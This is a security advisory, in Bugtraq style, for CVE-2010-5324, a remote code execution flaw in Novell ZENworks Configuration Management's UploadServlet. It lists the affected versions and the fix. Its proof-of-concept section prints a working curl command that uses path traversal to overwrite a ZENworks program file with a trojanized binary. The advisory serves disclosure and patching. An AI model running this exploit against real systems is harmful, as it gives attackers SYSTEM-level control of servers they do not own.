Novell ZENworks Configuration Management 'UploadServlet' Remote Code Execution Vulnerability

BID:39114

Info

Novell ZENworks Configuration Management 'UploadServlet' Remote Code Execution Vulnerability

Bugtraq ID: 39114
Class: Unknown
CVE: CVE-2010-5324
Remote: Yes
Local: No
Published: Mar 30 2010 12:00AM
Updated: Jul 15 2015 12:24AM
Credit: Stephen Fewer of Harmony Security via TippingPoint's Zero Day Initiative
Vulnerable: Novell ZENworks Configuration Management 10.1.2 a
Novell ZENworks Configuration Management 10.1.2
Novell ZENworks Configuration Management 10.1
Not Vulnerable: Novell ZENworks Configuration Management 10.3

Discussion

Novell ZENworks Configuration Management 'UploadServlet' Remote Code Execution Vulnerability

Novell ZENworks Configuration Management is prone to a remote code-execution vulnerability.

An attacker can leverage this issue to execute arbitrary code with SYSTEM-level privileges. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to ZENworks Configuration Management 10.3 are vulnerable.

Exploit / POC

Novell ZENworks Configuration Management 'UploadServlet' Remote Code Execution Vulnerability

An attacker can exploit the issue via a browser.

The following proof-of-concept and exploit code are available:

$ curl -ivkl 'http://www.example.com/zenworks-fileupload/?type=application/octet-stream/../../../../../../../opt/novell/zenworks/bin/&filename=daemon-monitor&overwrite=true' --data-binary @./daemon-monitor.troyanizado -H "Content-Type: application/octet-stream"

Solution / Fix

Novell ZENworks Configuration Management 'UploadServlet' Remote Code Execution Vulnerability

Solution:
Updates are available; please see the references for more information.

References

Novell ZENworks Configuration Management 'UploadServlet' Remote Code Execution Vulnerability

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